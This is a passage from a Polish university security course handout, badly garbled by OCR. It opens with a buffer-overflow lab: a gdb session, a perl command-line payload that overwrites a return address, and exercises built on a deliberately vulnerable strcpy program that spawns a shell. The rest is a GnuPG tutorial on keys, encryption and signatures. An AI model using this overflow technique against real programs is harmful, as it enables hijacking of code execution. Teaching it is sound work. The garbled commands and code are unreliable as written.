0x080484b1
Oxb7elb5f 7
Oxb7elb5f 7

Nowy kod powrotu

Wida¢ ze pod adresem Oxbf f f f 3a0 + 12 jest umieszczony nowy kod powrotu czyli 0x0804841b. Wznawiamy
wykonanie programul.

(gdb) ¢

Cont i nui ng.
Przechwyceni e

Program recei ved si gnal
Oxbffff600 in ?2? ()

S| GSEGV, Segnentation fault.

Program wykonat skok do naszej funkcji i cel zostat osiagniety. Mozemy teraz wykona¢ program poza debuggerem.

root @ali:~/1ab/BUS# ./bufover $(perl "A'" x 17 . "\x1b\ x84\ x04\ x08"")
Przechwyceni e
Segnent ation fault

-e '"print

Jak wida¢ uruchamiajac program poza debbugerem takze osiagniemy zamierzony cel.
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11.10 Zadania
11.10.1 Zadanie 1

Dladanego nizej programu buf shel | . ¢ zngjdz parametry wywotania by uruchomi¢ shel | .

#i ncl ude <string. h>
#i ncl ude <stdio. h>
#include <stdlib. h>

voi d overflowed() {
system("/bin/sh");
}

voi d function(char *str) {
char buffer[5];
strcpy(buffer,str);

}
void main(int argc, char *argv[])
{
function(argv[1]);
printf("%\n","Wkonani e zwkle");
}

Przyktad 11-5 Program buf shel | . ¢

11.10.2 Zadanie 2

Napisz program podobny do buf shel | . ¢ ae uruchamiany przez sie¢ jako ustugai net d. Program ma nastuchiwaé
na wybranym porcie TCP. Dostan si¢ do portu za pomoca programut el net i spowoduj jego awarie prowadzaca do
uruchomienia shella
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12. Szyfrowanie danych i ich deszyfracja

121 Szyfrowanie symetrycznei asymetryczne

Szyfrowanie danych [16] jest procesem w ktérym wiadomos¢ napisana tekstem jawnym jest przeksztatcana w tekst
zaszyfrowany (szyfrogram ) za pomocg algorytmu szyfrowaniai klucza. Deszyfrowanie jest procesem odwrotnym.
Tekst zaszyfrowany przeksztatcany jest w pierwotng wiadomos¢ za pomoca algorytmu deszyfrowaniai klucza.

agorytm agorytm
szyfrowania deszyfrowania

! f

klucz
deszyfrujgcy

wyjsciowy
tekst jawn

klucz szyfrujacy

Rys. 12-1 Proces szyfrowaniai deszyfracji
Szyfrowania uzywa sie w nastepujacych celach [16]:

Ochrony przechowywanej w komputerze informacji przed nieatoryzowanym dostepem
Ochrony informacji przesytanej pomiedzy komputerami
Wykrywanie przypadkowych lub celowych znieksztatcen informacji
Weryfikacji tozsamosci 0osob
Weryfikacji autentycznosci dokumentow
W chwili obecnej stosowane sa dwie podstawowe metody szyfrowania:

Algorytmy szyfrowania z kluczem prywatnym, zwane takze algorytmy z kluczem symetrycznym. W agorytmach
tych do szyfrowaniai odszyfrowania waidomosci stosuje si¢ ten sam klucz.

Algorytmy szyfrowania z kluczem publicznym, zwane takze algorytmy z kluczem asymetrycznym. W
algorytmach tego rodzaju wiadomosci szyfruje sie kluczem publicznym a odszyfrowanie nastepuje przy uzyciu
kluczas prywatnego.

Klucz publiczny moze by¢ szeroko udostepniony, gdyz nie umozliwia on rozszyfrowania zaszyfrowanej nim
informacji. Jest to mozliwe tylko za pomocg klucza prywatnego. Szyfrowanie kluczem prywatnym jest procesem
szybkim, natomiast deszyfracja kluczem prywatnym jest procesem czasochtonnym. Z tego powodu czesto stosuje Sie
systemy hybrydowe. Kluczem publicznym szyfruje sie klucz segji ktory przekazywany jest partnerowi. Odszyfrowuje
on go kluczem prywatnym a nastepnie stosuje w biezacej segji. Przyspieszato znacznie wymiang informacji.

Adam _
; juka
: Klucz publiczny KIUCZ'EEEIICZW |
Generacja adam Generacja
kluczy kluczy

przekazanie

Klucz prywatny KIucz_EL);watny
adam klucza

w Klucz publiczny
iuka algorytm

deszyfrowania

agorytm
wyjsciowy

tekst jawn

Rys. 12-2 Zasada dziatania szyfrowania asymetrycznego
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12.2 Podpis cyfrowy
Podpis cyfrowy [18] stuzy zapewnieniu nastgpujacych funkcji:

autentycznos¢ pochodzenia - daje pewnos¢ kto jest autorem dokumentu,
niezaprzeczalnos¢ - utrudnia wyparcie Si¢ autorstwa czy tez zngjomosci tresci dokumentu,
integralnosc - pozwalawykry¢ nieautoryzowane zmiany dokumentu po jego podpisaniu.

Do zapewnienia wymienionych funkcji potrzebne jest zastosowanie zastosowanie srodkow:

Algorytmdw, protokotdw i formatdw, ktére realizuja funkcje bezpieczenstwa,

Przepisow ktore specyfikuja aspekty prawne,

Organizacyjnych, takich jak urzedy certyfikacji, ktére potwierdzajg istnienie zwigzku klucza publicznego z
okreslong 0soba (infrastruktua klucza publicznego).

Przy tworzeniu podpisu cyfrowego wykorzystuje si¢ fakt ze wiadomos¢ zaszyfrowang kluczem prywatnym mozna
odszyfrowac kluczem publiczny. Szyfrowanie kluczem prywatnym jest jednak dtugotrwatym procesem, dlatego
sporzadza si¢ skrét zabezpieczanego tekstu i dopiero ten skrét szyfruje kluczem prywatnym. Zaszyfrowany kluczem
prywatnym tekst przesyta si¢ wraz z wiadomoscig. Odbiorca po otrzymaniu podpisanego tekstu moze policzy¢ jego
skrét a nastepnie odszyfrowaé otrzymany skrét kluczem publicznym i poréwnac z obliczonym. Gdy sa jednakowe,
otrzymany tekst jest autentyczny. Sporzadzanie podpisu cyfrowego przebiega wedtug nastepujacego schematu:

Podpisywanie:

1. Dlapodpisywanego dokumentu tworzony jest skrot.

2. Skrot szyfrowany jest kluczem prywatnym. Otrzymywany jest skrét zaszyfrowany
3. Zaszyfrowany skrét dotgczany jest do do dokumentu.

4. Dokument i zaszyfrowany skrét tworzg podpisany dokument.

Przesytanie:

1. Do odbiorcy przesytany jest podpisany dokument
2. Mus on pobra¢ wiarygodny klucz publiczny autora dokumentu (np. z centrum zarzadzania kluczami)

Weryfikacja
1. Z podpisanego dokumentu wydzielany jest dokument oryginalny i zaszyfrowany skrot.
2. Dladokumentu obliczny jest skrot.
3. Zaszyfrowany skrét deszyfrowany jest kluczem publicznym
4. Zdeszyfrowany skrét poréwnywany jest z obliczonym. Gdy sg jednakowe dokument jest autentyczny.

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systemow i ustug informatycznych

111

Podpisywanie i Weryfikacja
Klucz publiczny !
Generacja Adam 1
1 dokument
kluczy ! podpisany dokument
Klucz prywatny i L
Adam przesylanie| KT
1
:
1
i
agorytm ! skrot
obliczania i zaszyfrowany
skrétu i
; ‘
-skrc')t 1 agorytm
1
N ! > agorytm obliczania
: deszyfrowania ]}
H skrétu
agorytm !
szyfrowania 4—/ 1
skrétu i skrét zdeszyfrowany
v i kluczem publicznym
1
A 1
SKrot dokument » i
\/\
zaszyfrowany !
skrot i tak nie
zaszyfrowany !
1
d(c))léuir:ae:t i weryfikacja weryfikacja
podpisany i poprawna nieudana

Rys. 12-3 Proces podpisywaniai weryfikacji dokumentu

12.3 Nar zedzie GnuPG

GnuPG (ang. Gnu Privacy Guard) jest implementacja typu Open Source standardu OpenPGP zdefiniowanego w
RFC4880 wystepujacego takze pod nazwg PGP. Narzedzie to umozliwia szyfrowanie danych i komunikacji
miedzykomputerowej, podpisywanie dokumentow i zarzadzanie kluczami. Jest program uruchamiany z linii polecen
jako gpg aeistnigje do niego caty szereg interfejsow graficznych jak chociazby Seahor se. GnuPG jest
rozpowszechniane wraz z kodem zrodtowym wedtug licencji GPL. Istnigje takze wergja GnuPG dla Windows pod
nazwa Gpg4wi n. Narzedzie GnuPG integruje sie takze z klientami poczty elektroniecznej i przegladarkami w celu
szyfrowania poczty. GnuPG szyfruje informacje¢ wykorzystujac parg kluczy: klucz prywatny i klucz publiczny.
Informacje o uzytkowaniu programu mozna uzyska¢ za pomoca polecenia: gpg - h

root @ali:~/szyfr# gpg -h
gpg (GwuPG 2.1.16

--sear ch-keys
--refresh-keys

make a signature

make a clear text signature

make a detached signature

encrypt data

decrypt data (default)

verify a signature

list keys

list secret keys

generate a new key pair

generate a revocation certificate
keys fromthe public keyring
keys

renove
export
export keys to a keyserver

i mport keys froma keyserver
search for keys on a keyserver
update all keys from a keyserver

Syntax: gpg [options] [files]
Si gn, check, encrypt or decrypt
Commands:
-s, --sign
--clearsign
-b, --detach-sign
-e, --encrypt
-d, --decrypt
--verify
-k, --list-keys
-K, --list-secret-keys
--gen- key
--gen-revoke
--del et e- keys
- -export
--send- keys
--recv-keys
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--inmport i mport/ merge keys
Options:
-a, --arnor create ascii arnored out put
-0, --output FILE wite output to FILE
-v, --verbose ver bose

Przyktad 12-1 Niektore opcje programu gpg

12.3.1 Utworzeniekluczy
Pierwszym zadaniem ktdre nalezy wykona¢ bedzie wygenerowanie kluczy. W tym celu uruchamiamy program gpg z
parametrem - - gen- key

$gpg j uka@ali:~/.gnupg$ gpg --gen-key

gpg: directory '/home/jukal/.gnupg' created

gpg: new configuration file '/home/jukal/.gnupg/dirmgr.conf' created
gpg: new configuration file '/home/jukal/.gnupg/gpg.conf' created
gpg: keybox ' /home/jukal/.gnupg/ pubring. kbx' created

gpg (GhuPG 1.4.20; Copyright (C) 2015 Free Software Foundation, |nc.
Pl ease sel ect what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and El gamal
(3) DSA (sign only)
(4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits | ong.
What keysize do you want? (2048) 1024
Request ed keysize is 1024 bits
Pl ease specify how | ong the key should be valid.

0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n nonths
<n>y = key expires in n years

Key is valid for? (0) O
Key does not expire at all
Is this correct? (y/N vy
You need a user IDto identify your key; the software constructs the user ID
fromthe Real Nane, Conment and Emmil Address in this form
"Heinrich Heine (Der Dichter) <heinrichh@uessel dorf.de>"

Real nane: juka@est.org

Emai | address: juka@est.org

You need a Passphrase to protect your secret key.
Ent er passphrase:juka

Przyktad 12-2 Generowanie klucza dla uzytkownikaj uka@ est . or g

Podajemy typ klucza 1, okres waznosci, imi¢, nazwisko, adres poczty elektronicznej, komentarz i hasto. Hasto to
nalezy starannie zabezpieczy¢. Program zarzada wygenerowania losowych danych co moze trwa¢ dos¢ dtugo po czym
zakonczy swoje dziatanie. Tworzy onw katalogu ~/ . gnupg pliki konfiguracyjne i zaszyfrowane pliki zawierajace
klucze i hastaw katalogu.

W celu przeprowadzenia aksperymentu prosze utworzy¢ drugiego uzytkownika (np. adam) i utworzy¢ dla niego pare
kluczy prywatny i publiczny.

adam@xal i : ~/ . gnupg$ gpg --gen-key

12.3.2 Listowaniekluczy
Utworzone klucze mozna wylistowaé poleceniem: gpg --1i st -keys
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juka@ali:~$ gpg --list-keys

/ hone/ j uka/ . gnupg/ pubri ng. kbx

pub  rsa2048 2016-11-11 [SC
0460067FE9E4986A4611C9B0889A6309BB2DA70F

ui d [ultimate] Uzytkownik juka <juka@ est. org>

sub rsa2048 2016-11-11 [

Przyktad 12-3 Listowanie kluczy

12.3.3 Eksportowanie kluczy

Jezeli inni maja skorzysta¢ z naszego klucza publicznego nalezy go wyeksportowac. Eksport moze by¢ w trybie
binarmym lub tekstowym. Program gpg zapisuje eksportowany klucz na standardowe wyjscie, nalezy zatem
przekierowat go do pliku. Jak mozna wygenerowa¢ klucz w formacie tekstowym pokazano ponizej.

adam@xal i : ~$ gpg --arnmour --export adam@est.org > adam kl ucz. t xt
adam@al i : ~$ cat adam Kkl ucz. t xt
----- BEG N PGP PUBLI C KEY BLOCK- --- -

NENBFg! | ZABCACU7Tj t Wonmxwh+St Ad8r 51 OHDI 7x7Q46wWpq581 p4hF+hMh XCQHTF
nE/ r 4) SRhEBgkcvt SZr DBe87MLJI GOLt ef DWhKb1zL23ZA Bnl TQUOkV6EUj LP7n4

Przyktad 12-4 Eksport klucza w formacie tekstowym do pliku adam_kl ucz. t xt

12.3.4 Import klucza publicznego

Klucz publiczny innej osoby przesytamy w postaci pliku. Mozna skorzysta¢ z poczty el ektronicznej, programu
transferu plikow (np. scp) lub dysku USB. Aby skorzysta¢ z klucza publicznego inngj osoby nalezy go zaimportowag.
Importu klucza, zawartego w pliku dokonujemy przez polecenie: gpg --i nmport plik _z kluczem W
ponizszym przyktadzie importujemy klucz publiczny uzytkownika Adam zawarty w pliku adam_kl ucz. t xt . Plik
ten zostal przystany z innego komputera za pomoca poleceniascp.

$scp adam kl ucz. txt juka@l92.168. 0. 204: .

j uka@ali:~$ gpg --inport adamkl ucz.txt

gpg: key 5611EF635231C7E2: public key "Adam Sl odowi cz <adam@ est. org>" inported
gpg: Total number processed: 1

apg: i mported: 1

Przyktad 12-5 Import klucza w formacie tekstowym z pliku adam kl ucz. t xt
Nastepnie wyswietlamy zasob kluczy w naszym repozytorium za pomocs polecenia: gpg —- | i st - keys

juka@ali:~% gpg --1ist-key

/ hone/ j uka/ . gnupg/ pubri ng. kbx

pub  rsa2048 2019-11-06 [ SC|
832F494A64F669C73FA88D1D5611EF635231C7E2

ui d [ unknown] Adam xxxx <adam@ est.org>

sub rsa2048 2019-11-06 [ F

Przyktad 12-6 Wyswietlanie zastawu kluczy po imporcie klucza uzytkownikaadam@ est . or g

12.3.5 Uniewaznienieklucza

Gdy nasz klucz zostal skompromitowany lub tez z innych powoddw chcemy go uniewaznié nalezy wygenerowaé
certyfikat uniewaznigjacy. Certyfikat ten moze by¢ przestany innym, w szczegdlnosci do centrum zarzadzania
kluczami. Generacja certyfikatu uniewazniajacego nastepuje przez polecenie:

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



mailto:<juka@test.org>
mailto:adam@test.org
mailto:<adam@test.org>
mailto:<adam@test.org>
mailto:adam@test.org
http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systeméw i ustug informatycznych 114

gpg --arnour --gen-revoke -o plik_uni ewani enia identyfikator_klucza

juka@ali:~$ gpg --armour --gen-revoke -0 juka uniewz.txt juka@est.org
sec rsa2048/ 889A6309BB2D970F 2016-11-11 Uzyt kowni k juka <j uka@ est. org>
Create a revocation certificate for this key? (y/N vy

Pl ease sel ect the reason for the revocation

No reason specified

Key has been conproni sed

Key is superseded

Key is no | onger used

Cancel

(Probably you want to select 1 here)

Your decision? 3

Enter an optional description; end it with an enpty line:

> Ni ewazny

>

Reason for revocation: Key is no | onger used

Ni ewazny

Is this okay? (y/N) y

Revocation certificate created.

O WN RO
T T TR

Przyktad 12-7 Generowanie certyfikatu uniewaznieniakluczaj uka@ est . or g, plik ma nazwe
j uka_uni ewz. t xt

cat juka_uni ewz.txt
----- BEG N PGP PUBLI C KEY BLOCK- - - - -
Comment: This is a revocation certificate

i QE+BCABCAAOFi EEBGAG +nkn3pCGEcmni Jpj Cbst | wBFAI hS6z AKHQNCaW3Yx pu

_.._-END PGP PUBLI C KEY BLOCK-----

Przyktad 12-8 Zawartos¢ pliku certyfikatu uniewaznienia klucza

Aby dokona¢ uniewaznienia, wystarczy zaimportowac taki certyfikat jak zwykty klucz.
$ gpg --inport plik_uniewaznienia

12.3.6 Szyfrowaniei deszyfrowanie plikow

Gdy utworzymy wiadomos¢, mozemy ja zaszyfrowaé jednym z kluczy publicznych. Uzywamy polecenia:

gpg —-encrypt, przy czym nalezy podat nazwe pliku z tekstem jawnym, nazwe pliku zaszyfrowanego (bgdzie
utworzony) i identyfikator klucza publicznego odbiorcy. Klucz ten musi by¢ zawarty w naszym repozytorium.
Szyfrowanie moze by¢ wykonane w postaci pliku tekstowego.

Aby zaszyfrowat plik (np. j awny. t xt ) ktéry maby¢ przestany przez uzytkownika adamdo odbiorcy, powiedzmy
j uka naezy:

Uzytkownik j uka powinien wygenerowa¢ pare kluczy: prywatny i publiczny.

Uzytkownik j uka powinien wyeksportowa¢ klucz publiczny do pliku np. j uka_pub. t xt

Klucz publiczny uzytkownikaj uka powinien by¢ przestany do uzytkownikaadam

Uzytkownik adampowinien zaimportowa¢ klucz publiczny uzytkownikaj uka

Uzytkownik adampowinien zaszyfrowaé plik j awny. t xt kluczem publicznym uzytkownikaj uka. Powstanie
plik pl i k_zaszyfr.txt

6. Pikplik_zaszyfr.txt naezy przestat do uzytkownikaj uka.

akrwdNpE

Aby odszyfrowac plik zaszyfrowany uzytkownik j uka uzywa programu gpg i swego klucza prywatnego. Jest
proszony przez program gpg o podanie hasta.

$gpg --arnmour --output plik_zaszyfr --recipient identyfikator_klucza --encrypt
plik_j awny

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



mailto:juka@test.org
mailto:<juka@test.org>
mailto:juka@test.org
http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systeméw i ustug informatycznych 115

adam@xal i : ~$gpg --encrypt --output inwokacja_szyfr.txt -recipient
j uka@nmui | . com i nwokacj a. t xt

gpg: 9FA4C27C86314CB8: There is no assurance this key belongs to the naned user

sub rsal024/9FA4C27C86314CB8 2016-12-15 Jedrzej Ul asiewi cz (sdsdsd)

<j uka@est . org>

Primary key fingerprint: 09AD 8699 F953 1714 18B7 8702 7215 E306 9331 32D9
Subkey fingerprint: 3ClO 98E9 86F4 D77A 1A5C FDOD 9FA4 C27C 8631 4CB8

It is NOT certain that the key belongs to the person naned
in the user ID. |If you *really* know what you are doi ng,
you nmay answer the next question with yes.

Use this key anyway? (y/N) y

Przyktad 12-9 Szyfrowanie tekstowe tekstu i nwokacj a. t xt

Mozemy teraz obejze¢ wynik naszego szyfrowania.

adam@kal i : ~$ cat inwok_szyfr.txt
----- BEG N PGP MESSAGE-- - - -

hl1 wDn6TCf | YXTLgBBACbAzf J/ KboPt aanf Rp/ XKt dWay R6 STwuEWL AXWXSVDRFWS
2Nf me6t ZopVzy+l yaJ+aKapPDadTqUf 2r 9t Xyf OMVPMBAM zwwB4| H+CHRoCzazC

Przyktad 12-10 Fragnent zaszyfrowanego tekstu i nwok_szyfr. t xt

Do deszyfrowania plikow stuzy opcja- - decr ypt , ktéra pobierajako argument nazwe pliku do rozszyfrowania. Za
pomoca opcji --out put mozna okresli¢ nazwe pliku wynikowego. Gdy nie jest on okreslony, wynik wypisywany jest
na standardowe wyjscie. Zaszyfrowany plik mozna nastepnie przesta¢ do adresata postugujac si¢ dowolna metoda, za
pomoca poczty elektroniczngj, protokotu ssh, sf t p lub za posrednictwem dysku USB. W ponizszym przyktadzie
uzyto programu scp.

adam@xal i : ~$ scp i nwok_szyfr.txt juka@92.168.0.125:.
Gdy zaszyfrowany plik trafi do adresata powinien by¢ zdeszyfrowany. Wykonywane jest to za pomoca polecenia:

gpg —o plik_wyni kowy --decrypt plik_zaszyfrowany

juka@ali ~]$gpg -0 inwokacja.txt --decrypt inwok_szyfr.txt
Misi sz poda¢ hasto aby odbezpi eczyé¢ klucz prywatny uzytkowni ka:
,,Jedrzej Ul asiew cz (sdsdsd) <juka@est.org>""
drugos¢ 1024 bitow, typ RSA, nuner 86314CB8, stworzony 2016-12-15 (1D giownego
kl ucza 933132D9)
gpg: zaszyfrowano 1024-bitowym kl uczem RSA o identyfikatorze 86314CB8,
stworzonym 2016-12- 15
,, Jedrzej U asiew cz (sdsdsd) <juka@est.org>""

Przyktad 12-11 Rozszyfrowanie zaszyfrowanego tekstu i nwok _szyfr. t xt
Nastepnie zdeszyfrowany plik i nwokacj a. t xt moznawyswietli¢ jak pokazano ponizgj.
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j uka@xal i:~$ cat inwokacja.txt

Litwo! Q czyzno nojal ty jestes jak zdrow e.

Ile cie trzeba ceni ¢, ten tylko sie dow e,

Kto cie straci . Dzi $ pieknosé¢ twa w catej ozdobie
Wdze i opisuje, bo tesknie po tobie.

Przykitad 12-12 Wyswietlenie zawartosci plikui nwokacj a. t xt

124  Cyfrowe podpisywanie tekstu

Podpis cyfrowy stuzy do stwierdzenia autentycznosci dokumentu i sprawdzeniu czy nie zostat on zmanipulowany.
Program gpg umozliwia podpisywanie dokumentu przy czym mozliwe s3 trzy opcje:

A) Dokument nie bedzie szyfrowany atylko podpisany
B) Dokument bedzie zaszyfrowany i podpisany, wszystko w jednym pliku
C) Dokument bedzie zaszyfrowany i podpisany, podpis w oddzielnym pliku

Do cyfrowego podpisywania wiadomosci stuzy program gpg z opcja —si gn lub - - ¢l ear - si gn. Roznicajest taka
zeopcja- - ¢l ear - si gn generuje podpisw postaci jawnego tekstu dajacego sie odczytat bez specjalnych narzedzi.
Dalgj podajemy argument w postaci nazwy pliku do podpisania. Nazwe pliku wynikowego okreslamy za pomoca opcji
- - out put . Opcja- - ar nor umozliwia zapisanie podpisu w formacie otwartego tekstu. Do podpisu uzyty bedzie
domysliny klucz prywatny. Gdy chcemy podpisa¢ plik okreslonym kluczem nalezy jego identyfikator wymieni¢ w

opcji — | ocal - user . Moznaprzy okazji tekst zaszyfrowaé uzywajac klucza—cr ypt . Rdzne przyktady uzycia
zostaty pokazane ponizej.

gpg --arnmor —o plik_podpi sany --sign plik_zrodl owy

Przyktad podpisanie dokumentu o nazwie i nwokacj a. t xt przez uzytkownika adam dany jest ponizej. Najpierw
tworzymy tekst ktéry ma by¢ podpisany i go listujemy.

adam@xal i : ~$ cat inwokacj a.txt

Litwo! Q czyzno nojal ty jestes jak zdrow e.

Ile cie trzeba ceni ¢, ten tylko sie dow e,

Kto cie stracit. Dzi $ pieknosé¢ twa w catej ozdobie
Wdze i opisuje, bo tesknie po tobie.

Nastepnie sprawdzamy klucze uzytkownika adam.

gpg -K

/ hone/ adant . gnupg/ pubri ng. kbx

sec rsa2048 2019-11-06 [ SC]
832F494A64F669C73FA88D1D5611EF635231C7E2

ui d [ultimate] Adam Xxxxx <adam@ est. or g>

ssb rsa2048 2019-11-06 [ E]

Dalgj podpisujemy tekst i nwokacj a. t xt , specyfikujemy klucz i nazwe pliku podpisanego . Zauwazmy ze program
poprosi nas o podanie hasta do haszego repozytorium.
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adam@xal i : ~$ gpg --local -user adam@est.org --arnor -o inwokacja.sig --clearsign
i nwokacj a. t xt

Pl ease enter the passphrase to unlock the OpenPGP secret key: (
" Adam xxxx <adam@ est . or g>" |
2048-bit RSA key, | D 5611EF635231C7E2,

created 2019-11-06.

Passphrase:

<OK> <Cancel >

Przyktad 12-13 Podpisywanie tekstu i nwokacj a. t xt

Podane wyzegj polecenie tworzy podpisany i lecz nie zaszyfrowany plik z wiadomoscig. Jest to plik ASCII ktérego
fragment pokazano ponizej.

adam@al i : ~$ cat inwokacja.sig
----- BEG N PGP SI GNED MESSAGE- - - - -
Hash: SHA256

Litwo! Q czyzno nojal ty jestes jak zdrow e.

Ile cie trzeba ceni ¢, ten tylko sie dow e,

Kto cie straciz. Dzi $ pieknosé¢ twa w catej ozdobie
Wdze i opisuje, bo tesknie po tobie.

----- BEG N PGP SI GNATURE- - - - -

i QFCBAEBCAAsFi EEgy9JSnir2acc/ gl 0dVhHv Y1l xx+I FAl 3eWOOHGFk YWLADGVz
dC5vent ACgk QVhHv Y1l xx+I1 sYggAhEGg6! +VmALhoz SALwMyvimgx UM EuzbAi nRL
5si TIbapuVr UA7Jf 9HFFKWHNI ghRs G DHgwe Ct yqgaC+FZ7Hd+/ zt 8WkXhWhxoi w
r BRzwwKi 6ER95echt ZSSVi 4bMPWYETqoq12gXsZ/ 09B7csPv6Zb9w0sdPf zr/ 9+
i YQNEdkcQ i pRc+Q0zN026p30j KzPP8TQFr K98yr PWj90pgt LK7WN dedW91 bqVE
y3KUaOXTDYNcbQr b+gXdPz XSYHz| 9JPVGE+/ +nXuY2Rkf ABGMLRXhSs5Lycf RbYM
70r +t OH4t MYE9E9vct OF/ vAnyV9i py UXt SHTB6 ASWMBNGak nAQ==

=0RKf

----- END PGP SI GNATURE- - - -

Przyktad 12-14 Fragment podpisanego tekstu i nwokacj a. si g

Tekst dokumentu moznatez przy okazji podpisywania zaszyfrowaé. Naezy wowczas uzy¢ opcji - - si gn.

adam@al i : ~$ gpg --local -user adam@est.org --arnmor -0 i nwokacja_bin.sig --sign
i nwokacj a. t xt
adam@al i : ~$ cat inwokacja_bin.sig

----- BEG N PGP NESSAGE- - - - -

oWCHWM MMVEYJ v g+Ccj w+CPGN\Ve TeDPzyv Oz E5Cz EvVKKkpi 70V98ck s Kc 9XVPDP
Sq6qr M LV8j NzOpUVC pVMVhKLS5JPTpbl SsxWBEqpSi / PDNVj 8szJ1UnCF PI TI W8

nXXhi.Cs Zy 3HIMBUPZC 2Py XNKx 71 TISc Zf yw6 08l D4Tr 1mvVBzKr / Ir KmyxeYZJ
SckvOXTHAZ6e4JxDel aHAQ==
=oMbt

Przyktad 12-15 Podpisywaniei szyfrowanie pliku i nwokacj a. t xt
Podpisane teksty moga by¢ przestane do adresata dowolna metoda, np. tak jak podano ponizej.

adam@xal i : ~$ scp i nwokacj a.sig juka@92.168.0. 125:.
adam@xal i : ~$ scp i nwok_szyfr.sig juka@92.168. 0. 125: .
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Do sprawdzenia podpisu stuzy opcja- - ver i f y ado sprawdzeniai odczytania wiadomosci stuzy opcja—decr ypt .
Nalezy sie jednak upewni¢ czy adresat zaimportowat nasz klucz publiczny.

juka@ali:~$ gpg --verify inwokacja.sig

gpg: Signature made Wed 27 Nov 2019 06:10: 05 AM EST

apg: usi ng RSA key 832F494A64F669C73FA88D1D5611EF635231C7E2
gpg: i ssuer "adam@est.org"

gpg: Good signature from "Adam Sl odowi cz <adam@ est. org>" [ unknown]

gpg: WARNING This key is not certified with a trusted signature!

apg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 832F 494A 64F6 69C7 3FA8 8D1D 5611 EF63 5231 C7E2

Przyktad 12-16 Weryfikacja podpisu pod dokumentem i nwokacj a. si g

Jezeli dokument byt dodatkowo zaszyfrowany to jego rozszyfrowanie i weryfikacja odbywa sie przy wykorzystaniu
opcjii decrypt: gpg - - decrypt plik

[juka@ali ~]1# gpg --decrypt inwok_szyfr.sig
Litwo! G czyzno nojal ty jestes jak zdrow e.

Ile cie trzeba ceni ¢, ten tylko sie dow e,

Kto cie stracit. Dzi $ pieknosé¢ twa w catej ozdobie
Wdze i opisuje, bo tesknie po tobie.

gpg: Podpi sano w czw, 15 gru 2016, 22:17:39 CET kluczem RSA o nunerze BB2D970F
gpg: Poprawny podpis ztozony przez ,,Uzytkowni k juka <juka@est.org>""

gpg: OSTRZEZEN E: Ten klucz nie jest posw adczony zaufanym podpi sem

apg: Ni e ma pewnosci co do tozsanpbsci osoby ktéra ziozyta podpis.
Qdci sk klucza giéwnego: 0460 067F E9E4 986A 4611 C9BO 889A 6309 BB2D 970F

Przyktad 12-17 Odczytanie podpisanego tekstu i nwok_szyfr. si g

Jak wida¢ wiadomos¢ zostata zdeszyfrowana a podpis zweryfikowany pozytywnie. W powyzszym przyktadzie
wiadomos¢ jest zaszyfrowanai potaczona z podpisem. Zweryfikowaé ja mozna programem gpg.

W powyzszych przyktadach podpisywany dokument i podpis zawarte byty w jednym pliku. Pliki te moznarozdzieli¢
tak ze podpisi podpisywany plik s3 w oddzielnych plikach. Potrzeba taka moze si¢ pojawi¢ gdy przesytamy programy
binarne do ktérych nie mozna nic dopisywac. W takim przypadku uzywasi¢ opcji - - det ach- si gn.

$ gpg --armour -o plik_podpisu --detach-sig dokunent

adam@xal i : ~$ gpg --local -user adam@est.org --arnmor -0 i nwok_sam podpis.sig --
det ach-si gn i nwokacj a. t xt

adam@xal i : ~$ cat i nwok_sam podpi s.sig

----- BEG N PGP SI GNATURE- - - - -

i QFCBAABCAAsFi EEgy9JSnir2acc/ gl 0dVhHv Y1l xx+I FAl 3eYgl OHGFk YWLAdGVz

dC5vent ACgkQvhHv Y1l xx+LTxAf / e OKQ@nmy ONPniZb1Hx CbKGF2j Lj f Yv/ 3b3XvF
gbZhnoSFF7wweceXXuCi F+COW60Ryt LpOi pEr Z2Jat Fk26vTI OHLxyyxr vH xBoW
| UANDYZWAQOqG7 odNFPhD8ORI BMyEt xzZ2W QGn+e/ 9JF7AQVr SZ3ZuSPGz +6di M

N T3BZI j i Kal 1bn6YDl 7s YEnB9Fi bY4vhe3XhGOB818Y5AEnUuwrCogka7eZhMpeum
ZOBpGBo/ s5YaWlr 5¢gT83xZp/ oi +Q49CLABSNnt nBg6t | +maP4MDk5xVWBbh962z EG
r/ Et JRvUGQ / 4aDecbut EB5S0AXTQynLWPV09c YDhp3Ylque85yg==

=8M d

Przyktad 12-18 Podpisywanie tekstu i nwokacj a. t xt . Podpisw oddzielnym pliku i nwok _podpi s. si g

Do sprawdzenia podpisu potrzebne sa dwapliki: dokument zrodiowy i plik z podpisem. Sprawdzenia dokonuje si¢
przez opcje - - ver i fy z dwoma argumentami oznaczajagcymi nazwe pliku z podpisem oraz nazwe pliku zrédtowego.

gpg --verify plik_podpi su dokunent
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juka@kali:~$ gpg --verify inwkacja_sam podpis.txt inwokacja.txt

gpg: Signature nmade Wed 27 Nov 2019 06:45:15 AM EST

apg: usi ng RSA key 832F494A64F669C73FA88D1D5611EF635231C7E2
apg: i ssuer "adam@est.org"

gpg: Good signature from "Adam Sl odowi cz <adam@ est. org>" [ unknown]

gpg: WARNING This key is not certified with a trusted signature!

apg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 832F 494A 64F6 69C7 3FA8 8D1D 5611 EF63 5231 C7E2

Przykitad 12-19 Weryfikacjatekstu i nwokacj a. t xt z podpisem w oddzielnym pliku i nwok_podpi s. si g

125  Serwery kluczy

Istnigja publicznie dostgpne serwery kluczy publicznych OpenPG. Przechowujg one klucze publiczne i moznaje
stamtad pobra¢. Kilka adreséw podano ponizej:

keys.gnupg.net
hkp://subkeys.pgp.net (server pool)

hkp://pgp.mit.edu
http://keyserver.ubuntu.com

Serwery te zazwyczaj zawieraja wyszukiwarke jak pokazano ponizej.

Extract a Key
Select a key by subnuthing: %

s some words from its User ID (usually a name ot an email address);
o itz Key ID in hexadecimal format (eg OxA294848 2% or
